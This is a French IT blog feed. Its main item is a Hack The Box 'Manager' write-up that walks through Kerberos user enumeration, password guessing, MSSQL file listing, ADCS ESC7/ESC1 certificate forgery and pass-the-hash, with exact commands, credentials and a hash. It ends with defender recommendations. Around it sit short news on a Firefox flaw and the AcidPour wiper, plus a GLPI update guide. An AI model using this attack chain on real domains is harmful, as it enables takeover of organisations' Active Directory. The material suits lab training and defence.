Le CERT-FR a publié un avis de sécurité au sujet de ces vulnérabilités présentes dans les produits de Mozilla : "Certaines d'entre elles permettent à un attaquant de provoquer un problème de sécurité non spécifié par l'éditeur, une exécution de code arbitraire à distance et une atteinte à la confidentialité des données.", peut-on lire.

Maintenant, c'est à vous de faire le nécessaire pour mettre à jour les applications Firefox et Thunderbird.

The post Passez sur Firefox 124 pour vous protéger de cette faille de sécurité critique (CVE-2024-2615) ! first appeared on IT-Connect.

Hack The Box – Résoudre la box Manager : outils, méthodes et recommandations pour se protéger

20 mars 2024 à 09:00

I. Présentation

Dans cet article, je vous propose la résolution de la machine Hack The Box Manager, de difficulté "Medium".

Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelées "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.

Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs 🙂

Je vais ici vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et ressources que possible. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.

Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".

Technologies/attaques abordéesWindows, Kerberos, Active Directory, Brute force, MSSQL, AD-CS
Outils utilisésnmap, kerbrute, impacket, evil-winrm, certipy

Retrouvez tous nos articles Hack The Box via ce lien :

II. Résolution de la box Manager

A. Découverte et énumération

Pour l'instant, nous ne disposons que de l'adresse IP de notre cible. Commençons par un scan réseau à l'aide de l'outil nmap pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.

Technique d'attaque (MITRE ATT&CK) : T1046 - Network Service Discovery

$nmap --max-retries 1 -T4 -sS -A -v --open -p- 10.10.11.236

Nmap scan report for 10.10.11.236
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
   |_http-server-header: Microsoft-IIS/10.0
   | http-methods: 
   |   Supported Methods: OPTIONS TRACE GET HEAD POST
   |_  Potentially risky methods: TRACE
   |_http-title: Manager
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-10-25 18:44:02Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
    | ms-sql-info: 
    |   10.10.11.236:1433: 
    |     Version: 
    |       name: Microsoft SQL Server 2019 RTM
    |       number: 15.00.2000.00
    |       Product: Microsoft SQL Server 2019
    |       Service pack level: RTM
    |       Post-SP patches applied: false

5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
    |_http-title: Not Found
    |_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing

Nous voyons ici clairement que nous sommes sur un système d'exploitation Windows sans pare-feu. Nous pouvons également comprendre, grâce aux ports exposés, qu'il s'agit d'un Active Directory. Les Active Directory sont quasiment les seuls systèmes à exposer un service Kerberos (port TCP/88), un service DNS (TCP/53) ainsi que les services RPC et SMB habituels (TCP/135, TCP/139 et TCP/445). Nous voyons également un service de base de données MSSQL sur le port TCP/1433, beaucoup moins commun sur un Active Directory.

Technique d'attaque (MITRE ATT&CK) : T1087.002 - Account Discovery: Domain Account

Un annuaire Active Directory est une cible des plus intéressantes pour un attaquant, c'est LA cible principale puisque sa compromission nous donne accès aux clés du domaine (littéralement). Problème ici, nous n'avons aucun identifiant valide et toutes nos tentatives de trouver une CVE ou un service mal configuré avec un accès anonyme se sont soldées par un échec. Nous allons devoir y aller "à l'aveugle" grâce à une fonctionnalité (et non pas une vulnérabilité) du service Kerberos : l'authentification (AS-REQ).

Lorsqu'un utilisateur souhaite interagir avec le service Kerberos de notre AD, il doit au préalable être authentifié (sauf cas spécifiques avec l'attribut DONT_REQ_PREAUTH, bref). Il se trouve que le service Kerberos permet, nativement, l'énumération des utilisateurs lors de la phase d'authentification (c'est-à-dire avant authentification). Voyons cela de plus près :

Dans la trace réseau ci-dessus, j’envoie un paquet de type "AS_REQ" (Authentication Service Request) au service Kerberos ciblé. Celui-ci me répond avec un message "KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN" (Client not found in Kerberos database). Plutôt explicite, le nom d'utilisateur spécifié n'est pas reconnu par le service Kerberos, il n'existe pas. Voyons ce que cela donne avec un nom d'utilisateur qui existe forcément dans un Active Directory : administrator/administrateur :

La réponse est différente. Nous ne sommes certes pas authentifiés, mais nous avons obtenu une information : le compte administrator existe au sein de l'Active Directory et le service Kerberos nous l'indique indirectement par un changement dans sa réponse.

Nous venons ici de voir ce qu'est une énumération d'utilisateur. Beaucoup plus commune au sein des applications web, l'attaquant est en mesure de savoir, sans être authentifié, si un login utilisateur existe ou n'existe pas. Cela en exploitant un comportement "binaire" du service interrogé qui peut être un message d'erreur, mais aussi un temps de réponse différent.

On ne fait pas grand chose avec cette information, mais l'authentification reposant sur un login et un mot de passe, nous avons ici déjà 50% de l'information à découvrir. Avec du temps et un bon dictionnaire, nous pourrons obtenir une liste de comptes valides, qui deviendront alors des cibles pour nos prochaines attaques.

Cette "faiblesse" est très connue des attaquants et son exploitation est implémentée dans de très nombreux outils visant les Active Directory. Ici, nous allons utiliser l'outil "kerbrute", il se démarque notamment par sa rapidité :

[user@kali-user:/opt/statistically-likely-usernames$ kerbrute userenum -d manager.htb --dc 10.10.11.236 service-accounts.txt -o kerbrute_validUsers_service.txt
2023/10/25 14:20:17 >  [+] VALID USERNAME:       administrator@manager.htb
2023/10/25 14:20:17 >  [+] VALID USERNAME:       guest@manager.htb
2023/10/25 14:20:17 >  [+] VALID USERNAME:       operator@manager.htb]()

Je vous dois ici quelques explications. Tout d'abord, le domaine "manager.htb", d’où sort-il ? Nous l'avons en fait obtenu grâce à "nmap" et ses premières opérations d'énumération. Le nom de domaine est divulgué à dessein par l'Active Directory et ses services DNS et LDAP, comment s'authentifier auprès de lui sinon ?

Également, le dictionnaire que j'utilise ici est "service-accounts.txt". Elle provient de l'excellente ressource statistically-likely-usernames. Il s'agit d'une liste de nom (dictionnaires) contenant des noms utilisateur qui, statistiquement, ont de grandes chances de se retrouver dans un Active Directory. Il peut s'agir de nom de services, de noms utilisés pour des tests ou de noms "communs", comme John Smith, Eric Dupont, etc. Encore mieux, les différents dictionnaires proposés sont formatés en fonction des nomenclatures les plus communes. Pour John Smith, on trouvera par exemple le login "john.smith", "j.smith", "jsmith", "john.s". Le seul problème de cette ressource est qu'elle contient majoritairement des noms anglais.

Bref, grâce à "kerbrute", qui a exploité l'énumération utilisateur via l'"AS_REQ" Kerberos et une liste de nom de service statistiquement probable, nous parvenons à identifier le compte "operator".

B. Mot de passe faible et MSSQL

Je renseigne les noms des utilisateurs trouvés dans une liste que je pourrais réutiliser ensuite :

echo "operator" > logins.txt
echo "guest" > logins.txt
echo "administrator" > logins.txt

Il nous faut à présent trouver le mot de passe correspondant à ce compte. Nous allons utiliser "netexec" pour effectuer une authentification via SMB en utilisant les logins identifiés :

Technique d'attaque (MITRE ATT&CK) : T1110.001 - Brute Force: Password Guessing

$ netexec smb 10.10.11.236 -u logins.txt -p logins.txt --no-bruteforce                
SMB         10.10.11.236    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.236    445    DC01             [+] manager.htb\operator:operator  

Ici, nous allons utiliser notre liste de login à la fois comme entrée du paramètre "-u" (username) et "-p" (password). Avec l'option "--no-bruteforce", l'outil saura que l'on souhaite faire une attaque de type user as pass. Autrement dit, tenter une seule authentification par compte, avec comme mot de passe login utilisateur.

Dans un contexte réaliste, il faut être très vigilant lors de la réalisation d'une authentification avec un compte utilisateur. La réalisation de quelques tentatives d'authentification infructueuses peut bloquer le compte utilisateur pendant plusieurs minutes et perturber un service ou l'activité de l’utilisateur. Avant toute opération, il est nécessaire au minimum de connaitre la politique de mot de passe et de verrouillage en place. La difficulté principale étant que cet élément n'est récupérable qu'en étant authentifié.

Via une attaque de type user as pass, nous sommes sûrs de réaliser qu'une seule tentative d'authentification par compte, les chances de verrouillage sont donc bien moindres.

Notre attaque nous a permis de découvrir que le compte "operator" utilise également "operator" comme mot de passe. Cela est loin d'être rare dans un contexte réalise et c'est d'autant plus le cas pour les comptes non nominatifs comme les comptes de tests ou de service ("formation", "scan", "accueil", "test2023", etc.).

Nous sommes à présent authentifiés sur le domaine ! Il s'agit d'une grande avancée puisque cela nous permet de récupérer un (très) grand nombre d'informations à propos de celui et des différents objets qu'il gère. Nous allons à présent tenter de nous authentifier avec ce compte sur tous les services exposés par le système cible :

Technique d'attaque (MITRE ATT&CK) : T1021 - Remote Services

$ impacket-mssqlclient -windows-auth operator:operator@10.10.11.236
SQL (MANAGER\Operator  guest@master)>

Succès ! Nous avons donc découvert un compte utilisateur du domaine qui a la permission de s'authentifier sur le service de base de données MSSQL. À partir de cet accès, tentons de découvrir les possibilités qui s'offrent à nous. Exploitation d'une version obsolète, vol de données sensibles, exécution de commande ?

Technique d'attaque (MITRE ATT&CK) : T1505.001 - Server Software Component: SQL Stored Procedures

Après plusieurs tentatives d'énumération, je découvre notamment que beaucoup d'instruction permettant classiquement l'exécution de commande ne sont pas autorisées pour mon utilisateur. Une exception apparait cependant parmi les nombreux cas d'usage de ma todo-list: "EXEC xp_dirtree" :

SQL (MANAGER\Operator  guest@master)> select @@version;

Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) 
        Sep 24 2019 13:48:23 
        Copyright (C) 2019 Microsoft Corporation
        Express Edition (64-bit) on Windows Server 2019 Standard 10.0 <X64> (Build 17763: ) (Hypervisor)

SQL (MANAGER\Operatorest@master)> EXEC xp_dirtree 'C:\inetpub\wwwroot', 1, 1

Cette commande permet de lister le contenu d'un répertoire du système :

Technique d'attaque (MITRE ATT&CK) : T1083 - File and Directory Discovery

about.html
contact.html
css
images
index.html
js
service.html
web.config
website-backup-27-07-23-old.zip

Dans le résultat du listing du contenu du répertoire web, on découvre notamment une archive ZIP oubliée (un cas bien plus classique que l'on pourrait le croire). Cela signifie que cette archive est téléchargeable depuis le service web exposé, il suffisait de trouver son nom, ce qui est chose faite à présent.

Technique d'attaque (MITRE ATT&CK) : T1552.001 - Unsecured Credentials: Credentials In Files

$ wget http://10.10.11.236/website-backup-27-07-23-old.zip
$ unzip website-backup-27-07-23-old.zip
$ cat .old-conf.xml 
[...]
         <user>raven@manager.htb</user>
         <password>R4v3nBe5tD3veloP3r!123</password>

À l'intérieur de l'archive se trouve notamment un fichier XML contenant des identifiants utilisateur. Encore une fois, il va être important ici de tenter ces identifiants sur tous les services exposés. Il peut s'agir d'un compte ayant des droits d'accès à un nouveau partage SMB, ou au service MSSQL avec l'accès à des commandes ou base de données supplémentaires, etc.

Technique d'attaque (MITRE ATT&CK) : T1021.006 - Remote Services: Windows Remote Management

$ evil-winrm -i 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123'
*Evil-WinRM* PS C:\Users\Raven\Desktop> type user.txt
14895a[REDACTED]5846a502

Cet utilisateur nous permet l'accès au service WinRM du système !

L'accès au service WinRM est le résultat de l'assignation de permissions spécifiques à cet utilisateur ou de l'appartenance à un groupe de permissions (généralement Remote Management Users). Lors d'une intrusion, l'attaquant cherchera à cibler des utilisateurs avec ce genre de permissions spéciales, car ils seront certains d'obtenir par la suite un accès interactif à des systèmes.

C. ADCS : Manipulation des certificats

Parmi la très longue liste des éléments à étudier pour un attaquant lorsqu'il parvient à obtenir un accès authentifié à un domaine Active Directory figure les templates de certificats et la configuration du service ADCS. De nombreuses attaques et outils d'exploitation ont été rendus publiques en 2021 par SpectorOps à ce sujet.

Active Directory Certificate Services est un service Windows Server facilitant la création, la distribution et la gestion de certificats numériques. Les certificats générés par ADCS sont utilisés pour sécuriser les communications en chiffrant les données, authentifier les utilisateurs, garantir l'intégrité des données, permettre des connexions sécurisées au sein du domaine, etc.

Il s'agit tout simplement de la PKI (Public Key Infrastructure) de votre domaine, en gardant à l'esprit qu'un certificat permet également l'authentification, il s'agit d'une cible de choix pour un attaquant.

Nous pouvons commencer par nous assurer qu'un service ADCS existe bien sur le domaine cible, cela à distance depuis Linux à l'aide de l'outil "netexec" :

Ici, "netexec" nous confirme bien que le serveur "DC01.manager.htb" est également le service ADCS du domaine. À présent, nous pouvons tenter d'énumérer les templates de certificats existants au sein de ce service. L'ADCS permet l'émission de certificats avec des paramètres pré-définis grâce à des objets AD appelés template, ou modèles de certificat. Ces templates sont des ensembles de politiques d'inscription et de paramètres de certificat qui contiennent des informations telles que l'usage pouvant être fait du certificat, son temps de validité, qui peut demander la génération d'un certificat, pour quel type d'objet, etc.

Vous pouvez voir la gestion, création et détention d'un certificat comme le cas des badges d'accès dans un bâtiment sécurisé. Les agents d'accueil peuvent créer des badges pour des visiteurs ? Mais peut-être pas pour tous les étages ? Existe-t-il une borne de self-enrollement pour tous les visiteurs ? À quels étages peuvent-ils eux-mêmes se donner accès ? Est-ce qu'un agent d'accueil peut se créer un badge au nom du PDG ? Qui génère le badge des agents d'accueil ? Toutes ces questions peuvent être mises en parallèle avec les attaques sur ADCS.

L'outil "Certipy" peut notamment être utilisé pour découvrir ces configurations de templates, exemple :

pip3 install certipy-ad
certipy-ad find -u 'raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -stdout

Voici un extrait du résultat de la commande "certipy-ad" :

L'outil nous a permis de lister la configuration de 33 templates, dont 11 activés. Nous voyons ensuite un bout de la configuration de l'autorité de certification. Entre autres, nous pouvons nous intéresser à la configuration du template 0, histoire de voir ce que cette configuration peut nous apprendre :

Ce template se nomme "KerberosAuthentication", nous voyons notamment que les certificats générés à l'aide de ce template peuvent être utilisés pour l'authentification client ("Client Authentication : True"), mais aussi pour l'authentification côté serveur ("Extended Key usage: Server Authentication") par exemple. La section "Permissions" nous intéresse particulièrement puisqu'elle permet de savoir qui peut utiliser ce template pour enroller (générer) un certificat. Ici, que des membres des groupes "administrateurs".

Si l'on revient au résultat initial, on peut constater que "certipy-ad" nous a indiqué avoir trouvé une configuration dangereuse lors de l'affichage de la configuration de l'autorité de certification :

Au travers l'analyse automatique de la configuration, il semble que l'attaque ESC7 soit exploitable sur ce service ADCS.

Le terme "ESC" fait ici référence à "Escalation". Il s'agit d'une nomenclature choisie par les SpecterOps pour identifier les différentes faiblesses de configuration, et donc attaques, liées à l'AD-CS. Il en existe aujourd'hui 14 (de ESC1 à ESC14 donc). Pour aller en détail sur chacune des exploitations, je vous oriente vers Hacktrickz

ESC7 est donc le cas d'une configuration trop permissive donnée à un utilisateur ou un groupe d'utilisateurs sur l'autorité de certification elle-même.

Comme tout objet AD, l'autorité de certification possède des ACL (Access-Controle List) afin de gérer les actions réalisables par d'autres objets (utilisateurs, groupes, ordinateurs, etc.). Les deux droits principaux ici sont le droit "ManageCA" (« Administrateur CA » ) et le droit "ManageCertificates" ( « Gestionnaire de certificats ».). Si un attaquant prend le contrôle d'un utilisateur qui possède ces droits (ici : "raven"), il pourra alors approuver les demandes de certificat en attente.

Technique d'attaque (MITRE ATT&CK) : T1649 - Steal or Forge Authentication Certificates

L'exploitation de cette vulnérabilité repose sur le fait que les utilisateurs disposant de ces droits peuvent émettre des demandes de certificat, qui, même s'ils échoueront dans un premier temps, pourrons ensuite être approuvés grâce au droit "ManageCertificates".

Le modèle de certificat "SubCA" est par défaut vulnérable à ESC1, mais seuls les administrateurs peuvent utiliser ce template dans le modèle. Ainsi, un utilisateur peut toujours demander à s'inscrire à la "SubCA", ce qui sera refusé. Nous obtiendrons alors notre demande "en attente", qui nous approuverons ensuite avec l'utilisateur compromis ("raven"), qui possède les droits "ManageCertificates".

L'attaque ESC1 est l'un des cas de figure les plus simples. Il concerne les templates qui autorisent la prise en compte de l'attribut SAN (Subject Alternative Name). Celui-ci permet tout simplement à l'utilisateur à définir, en plus de son nom, d'autres noms pour lesquels le certificat sera valide (à tout hasard, administrateur). L'utilisateur demande alors un certificat qui sera valide pour l'utilisateur demandeur (Mickael) mais il inclut dans sa demande un champ supplémentaire disant : le certificat que tu vas me signer sera aussi valide pour "administrateur".

La simplicité de l'attaque est parfois difficile à cerner ("c'est aussi bateau que ça ?") : la réponse est oui.

Voici les pré-requis de l'attaque :

Nous disposons déjà de la permission "ManageCA" grâce à l'utilisateur "raven". Nous pouvons alors nous ajouter les droits "Manage Certificates" (nous sommes maitres de l'autorité de certification, logique que nous puissions nous ajouter les droits de gérer les certificats) :

$ certipy-ad ca -ca 'manager-DC01-CA' -add-officer raven -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'Raven' on 'manager-DC01-CA'

Le pré-requis n°2 est également atteint, retournons dans notre énumération des templates pour voir si le pré-requis 3 l'est aussi (template "SubCA" activé) :

Tous nos prérequis sont là. Nous pouvons commencer par demander un certificat basé sur le template "SubCA". Cette demande sera refusée, nous ne sommes pas membres des groupes autorisés à s'enroller (regardez le contenu de l'attribut "Enrollment Permissions"). Mais, nous obtiendrons tout de même une clé privée (générée par nous-même, pour notre demande) et notre ID de demande (notez l'option "-upn" dans laquelle nous indiquons le SAN à ajouter au certificat) :

certipy-ad req -ns 10.10.11.236 -ca 'manager-DC01-CA'  -template SubCA -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -upn administrator@manager.htb

Ici, nous venons de demander à l'autorité de certification la création d'un certificat pour l'utilisateur "administrator@manager.htb" (grâce à l'attribut SAN) en utilisant le template "SubCA". Vous noterez que bien que ce template soit activé, notre utilisateur ("raven") n'est pas membre des groupes autorisés à utiliser ce template. La demande est donc refusée. Avec nos permissions "ManageCA" et "ManageCertificates", nous pouvons ensuite approuver la demande de certificat ayant échoué avec la commande suivante :

$ certipy-ad ca -ca 'manager-DC01-CA' -issue-request 14  -u 'raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123'  -dc-ip 10.10.11.236                                                                                                          
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate

Et enfin, nous pouvons récupérer le certificat émis avec la commande "req" et le paramètre "-retrieve" :

certipy-ad req -ca 'manager-DC01-CA' -target dc01.manager.htb  -template SubCA -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -retrieve 14

Nous pouvons à présent récupérer le hash NTLM de l'administrateur du domaine en utilisant ce certificat. Il faut pour cela demander un TGT via PKINIT (extension Kerberos prenant en compte les certificats), une fonctionnalité de "backup" y a été ajoutée pour permettre l'authentification sur les services/OS ne prenant pas en compte Kerberos.

Technique d'attaque (MITRE ATT&CK) : T1021.006 - Remote Services: Windows Remote Management

Avec le hash du compte "administrator", nous pouvons effectuer une authentification via la technique pass-the-hash :

$ evil-winrm -i $IP -u administrator -H ae5064c2f62317332c88629e025924ef
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
42fabc6[REDACTED]0ff4d

Nous sommes désormais administrateur du contrôleur de domaine, nous avons les clés du royaume !

III. Résumé de l'attaque

Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du framework MITRE ATT&CK :

TTP (MITRE ATT&CK)Détails
T1046 - Network Service DiscoverRéalisation d'un scan réseau via "nmap" et découverte de multiple services
T1087.002 - Account Discovery: Domain AccountEnumération d'utilisateur via "kerbrute" et la wordlist "statistically-likely-usernames"
T1110.001 - Brute Force: Password GuessingAttaque "user as pass" sur les comptes du domaine découverts via "netexec", découverte d'identifiants valides
T1021 - Remote ServicesAuthentification sur le service MSSQL avec le compte "operator" compromis
T1505.001 - Server Software Component: SQL Stored ProceduresExécution de commande partielle MSSQL
T1083 - File and Directory DiscoveryDécouverte des fichiers locaux du serveur Windows via MSSQL et exfiltration d'une archive ZIP depuis la racine du service web
T1552.001 - Unsecured Credentials: Credentials In FilesDécouverte d'identifiants de l'utilisateur du domaine "raven" dans l'archive ZIP exfiltrée
T1021.006 - Remote Services: Windows Remote ManagementAuthentification via winRM et LDAP, puis découverte du service AD-CS via "Certipy"
T1649 - Steal or Forge Authentication CertificatesUtilisation de Ccertipy" pour forger un certificat valide pour le compte administrateur du domaine via ESC7, puis ESC1
T1021.006 - Remote Services: Windows Remote ManagementAuthentification avec le compte administrateur du domaine

IV. Notions abordées

A. Côté attaquant

Les premières étapes de compromission de ce serveur sont (hélas) très réalistes. Il est étonnant de voir que la plupart des vulnérabilités sur un domaine proviennent de négligences humaines. Ce genre d'attaque et d'énumération sont à ne jamais oublier sur un domaine. Il faut également savoir adapter ses dictionnaires (et plus largement ses outils) en fonction du contexte métier ou de la langue de la cible.

Nous avons vu lors de l'exploitation du service MSSQL que connaitre ou savoir se documenter rapidement sur les commandes et fonctionnalités natives qui permettent une exploitation est un atout. Ici la commande utilisée ("xp_dirtree") est totalement native à MSSQL, le fait le compte compromis puisse l'utiliser est une faiblesse probablement due à des droits trop permissifs, mais c'est ce qui nous a permis de compromettre le serveur. Sur chaque service de base de données, voir chaque version, il existe des commandes comme celles-ci qui permettent d'écrire ou lire des données sur le serveur, voire exécuter des commandes. Difficile de tout retenir, il faut plutôt opter pour une documentation personnelle ou une banque de liens externes pour être sûr de rester à jour et d'avoir tout sous la main lorsque l'on en aura besoin.

L'attaque sur ADCS est bien entendu ce qui vaut à cette box la notation "Medium" à mon sens. Il faut ici avoir de bonnes notions de l'aspect métier et fonctionnels d'une PKI pour ensuite comprendre l'attaque à réaliser. Cela nous permet de rappeler qu'avant d'apprendre à attaquer, il faut connaitre les bases de l'administration système, de la cryptographie et du développement. Également, il serait difficile de trouver ce genre de vulnérabilité sur un service aussi spécifique qu'ADCS seul sans y passer des dizaines d'heures. Les attaques sur ADCS ont été rendues publiques en 2021 et il fallait bien entendu assurer sa veille technologique afin d'inclure ses faiblesses dans notre méthodologie d'audit d'environnement AD. Pour la pratique, je vous conseille bien sûr cette box Hack the box, mais aussi le lab Try Hack Me suivant : AD Certificate Templates

B. Côté défenseur

Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :

Recommandation n°1 : il est recommandé de mettre en place une politique de mot de passe robuste interdisant notamment les mots de passe faibles avec un seul alphabet ou le "user as pass". L'application de cette recommandation doit notamment se baser sur le document Recommandations relatives à l'authentification multifacteur et aux mots de passe de l'ANSSI. Côté détection, il est recommandé de surveiller les journaux d'authentification pour détecter les échecs de connexion au niveau du domaine. Si les échecs d'authentification sont nombreux sur une courte période de temps, il peut y avoir une tentative de force brute en cours. Le centralisation des logs et l'utilisation d'un SIEM peuvent ici grandement aider.

Recommandation n°2 : nous pouvons également recommander de supprimer l'archive ZIP située à la racine du service web. Les archives contiennent souvent des données sensibles (configurations, mots de passe) et leur place n'est pas sur un service web accessible sans authentification. Il est recommandé de les stocker dans un emplacement sécurisé, accessible uniquement par des utilisateurs authentifiés. Pour aller plus loin, nous pouvons également recommander de stocker les archives de configuration et de code source de façon chiffrée et, en complément, de durcir la configuration du service web pour interdire l'accès aux fichiers de backup (.zip, .tar, etc.) directement dans la configuration Apache.

Recommandation n°3 : il peut être recommandé d'améliorer la sécurité du service ADCS. De multiples bonnes pratiques existent à ce sujet, mais doit en premier lieu être effectuée une revue des ACL sur les templates de certificats et sur l'autorité de certification afin de s'assurer que seuls des groupes légitimes sont autorisés à y effectuer des actions sensibles. De manière générale, il est d'ailleurs toujours recommandé de passer par des groupes pour l'attribution des droits que l'attribution directe à un utilisateur.

Recommandation n°4 : il est recommandé d'appliquer une séparation stricte des usages sur les services du système d'information. Les services de base de données et de gestion des certificats répondent à des fonctions métiers et de sécurité différents et doivent être positionnés sur des serveurs distincts. Cela afin de rendre plus difficile pour un attaquant la propagation de sa compromission d'un service à l'autre. Pour aller plus loin, il est recommandé de consulter le document La défense en profondeur appliquée aux systèmes d’information de l'ANSSI. (Soyons francs, cette recommandation est plutôt pour le principe, les services sont ici mutualisés sur un même serveur, car Hack The Box ne propose qu'une machine à la fois :D. Mais consultez quand même ce document, très intéressant ! 🙂 ).

J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord!

Enfin, si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points 🙂 ) : Tester Hack the Box Academy

The post Hack The Box – Résoudre la box Manager : outils, méthodes et recommandations pour se protéger first appeared on IT-Connect.

AcidPour, un malware destructeur de données, qui cible Linux et les équipements réseau !

20 mars 2024 à 05:00

Un chercheur en sécurité a identifié un nouveau logiciel malveillant destructeur de données, nommé AcidPour, et qui cible les équipements réseau ainsi que des appareils avec un système Linux. Voici ce que l'on sait sur cette menace.

AcidPour, qui est considéré comme une variante du malware AcidRain, est, ce que l'on appelle un "data wiper", c'est-à-dire un malware dont l'unique but est de détruire les données présentes sur l'appareil infecté. Autrement dit, le malware AcidPour est destiné à effectuer des actes de sabotages. D'ailleurs, AcidRain a été utilisé dans le cadre d'une cyberattaque contre le fournisseur de communications par satellite Viasat, ce qui avait eu un impact important sur la disponibilité des services en Ukraine et en Europe.

Le malware AcidPour quant à lui, a été identifié par Tom Hegel, chercheur en sécurité chez SentinelLabs, et il a été téléchargé depuis l'Ukraine le 16 mars 2024. Il présente plusieurs similitudes avec AcidRain, notamment au sein des chemins pris pour cible sur les machines infectées. Néanmoins, les deux malwares ont uniquement 30% de code source en commun. AcidPour pourrait être une variante beaucoup plus évoluée et puissante qu'AcidRain, grâce à la "prise en charge" de la destruction de données sur une plus grande variété d'appareils.

AcidPour est un malware destructeur de données capable de s'attaquer à des équipements réseau, notamment des routeurs, mais aussi des appareils avec une distribution Linux embarquée (Linux x86). Par exemple, il pourrait s'agir de cibler des NAS dont le système est basé sur Linux, car le malware s'intéresse aux chemins de type "/dev/dm-XX.

Sur X (ex-Twitter), Rob Joyce, directeur de la cybersécurité de la NSA, affiche une certaine inquiétude vis-à-vis de ce logiciel malveillante : "Il s'agit d'une menace à surveiller. Mon inquiétude est d'autant plus grande que cette variante est plus puissante que la variante AcidRain et qu'elle couvre davantage de types de matériel et de systèmes d'exploitation.

Enfin, sachez que SentinelLabs a partagé un échantillon de ce malware sur VirusTotal, et vous pouvez le retrouver sur cette page publique.

Source

The post AcidPour, un malware destructeur de données, qui cible Linux et les équipements réseau ! first appeared on IT-Connect.

Comment mettre à jour GLPI ?

19 mars 2024 à 13:00

I. Présentation

Si vous déployez la solution GLPI dans votre entreprise, vous devez effectuer un suivi régulier des mises à jour. En effet, des mises à jour sont publiées régulièrement, et au-delà d'apporter de nouvelles fonctionnalités, certaines d'entres elles corrigent des failles de sécurité. Mais, alors, comment effectuer la mise à jour de GLPI ? Sachez que dans ce tutoriel, nous allons apprendre à mettre à jour GLPI !

Dans le cas présent, nous allons effectuer une mise à jour de GLPI 10.0.10 vers GLPI 10.0.12, qui justement, est une mise à jour de sécurité. Il s'agit de l'installation d'une mise à jour mineure, mais à chaque fois, les précautions à prendre sont identiques. Pour installer la version 10.0.14, qui est la dernière version en date, la procédure est identique.

Pour suivre les mises à jour de GLPI, vous pouvez consulter cette page :

Remarque : si vous envisagez d'effectuer une mise à jour majeure sur votre serveur GLPI, par exemple, pour passer de GLPI 9.5 à GLPI 10, vérifiez au préalable si les extensions que vous utilisez sont bien prises en charge par la nouvelle version. Si vous êtes dans ce cas, sachez que le plugin Fusion Inventory est pris en charge uniquement jusqu'à la version 10.0.3 de GLPI. Ensuite, vous devez passer sur l'agent GLPI officiel, qui est un fort de Fusion Inventory.

II. Quelle est ma version de GLPI ?

Pour savoir quelle version de GLPI vous utilisez, vous devez vous connecter sur l'interface Web de GLPI, puis cliquez sur votre avatar en haut à droite. Dans le menu qui apparaît, cliquez sur "À propos". Une fenêtre va apparaître et elle indique explicitement la version de GLPI que vous utilisez. Avant la version 10 de GLPI, la version était indiquée en bas à droite de la fenêtre.

Afficher la version de GLPI

III. Activer le mode maintenance de GLPI

GLPI 10 intègre un mode maintenance que vous pouvez activer avant d'effectuer la mise à jour. Ceci évite que les utilisateurs ou les techniciens cherchent à utiliser GLPI pendant cette période.

A partir de la ligne de commande de votre serveur GLPI, positionnez-vous dans le répertoire d'installer de GLPI (ici "/var/www/glpi") et exécutez la commande suivante :

cd /var/www/glpi
sudo php bin/console glpi:maintenance:enable

Si vous retournez sur GLPI, en mode web, vous allez obtenir ce message :

GLPI - Mode maintenance

Même si le mode maintenance est actif, vous pouvez accéder à GLPI en précisant ceci dans l'URL :

https://support.it-connect.tech/index.php?skipMaintenance=1

Une fois la mise à jour effectuée, nous verrons comment désactiver ce mode maintenance.

IV. Sauvegarder les données

Avant de mettre à jour GLPI, vous devez impérativement sauvegarder vos données. S'il s'agit d'une machine virtuelle, vous pouvez utiliser votre outil de sauvegarde habituelle pour déclencher une sauvegarde avant de procéder à la mise à jour GLPI. Par ailleurs, si c'est une machine virtuelle, vous pouvez aussi utiliser un snapshot pour revenir en arrière facilement.

